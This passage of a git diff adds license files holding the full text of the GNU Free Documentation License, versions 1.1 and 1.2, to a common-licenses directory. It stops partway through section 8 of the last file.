+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-invariants-only b/meta/files/common-licenses/GFDL-1.2-invariants-only
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-invariants-only
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-invariants-or-later b/meta/files/common-licenses/GFDL-1.2-invariants-or-later
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-invariants-or-later
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
